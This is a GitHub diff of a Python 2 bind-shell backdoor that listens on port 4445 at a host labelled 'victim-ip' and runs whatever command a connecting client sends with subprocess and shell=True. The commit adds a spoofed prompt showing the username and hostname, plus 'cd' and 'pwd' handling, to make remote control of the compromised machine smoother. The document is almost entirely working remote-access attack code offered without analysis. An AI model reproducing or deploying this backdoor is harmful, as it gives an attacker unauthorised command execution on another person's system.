File tree Expand file tree Collapse file tree 1 file changed +12
-3
lines changed Expand file tree Collapse file tree 1 file changed +12
-3
lines changed Original file line number Diff line number Diff line change 15
15
import socket
16
16
import subprocess
17
17
import sys
18
-
18
+ import os
19
19
ip = "victim-ip"
20
20
port = 4445
21
21
27
27
28
28
client , addr = server .accept ()
29
29
30
- print ("Connected to %s on port %d" % (ip ,port ))
30
+ print ("Connected to %s on port %d" % (ip ,port ))
31
+ hostinfo = os .getenv ('USERNAME' )+ "@" + socket .gethostname ()+ "~"
31
32
while True :
32
33
data = str (client .recv (1024 ))
33
34
data = data .strip ()
34
35
if not data :
35
- print "command cannot be blank my friend"
36
+ client .sendall (hostinfo + os .getcwd ()+ "# command cannot be blank my friend \n " + hostinfo + os .getcwd ()+ "#" + " " )
37
+ print ""
38
+ elif "cd" in data .strip ():
39
+ pathExtract = data .replace ("cd " , "" )
40
+ os .chdir (pathExtract )
41
+ client .sendall (hostinfo + os .getcwd ()+ "# Switched Path to: " + os .getcwd ()+ "\n " + hostinfo + os .getcwd ()+ "#" + " " )
42
+ elif data .strip () == "pwd" :
43
+ client .sendall (hostinfo + os .getcwd ()+ "#" + " " + " " + os .getcwd ()+ "\n " + hostinfo + os .getcwd ()+ "#" + " " )
36
44
elif data .strip () == "terminate" :
37
45
client .sendall ("bye buddy" )
38
46
client .close ()
39
47
sys .exit (0 )
40
48
else :
41
49
output = subprocess .check_output (data , shell = True )
50
+ output = hostinfo + os .getcwd ()+ "#" + " " + output + "\n " + hostinfo + os .getcwd ()+ "#" + " "
42
51
client .sendall (output )
You can’t perform that action at this time.
0 commit comments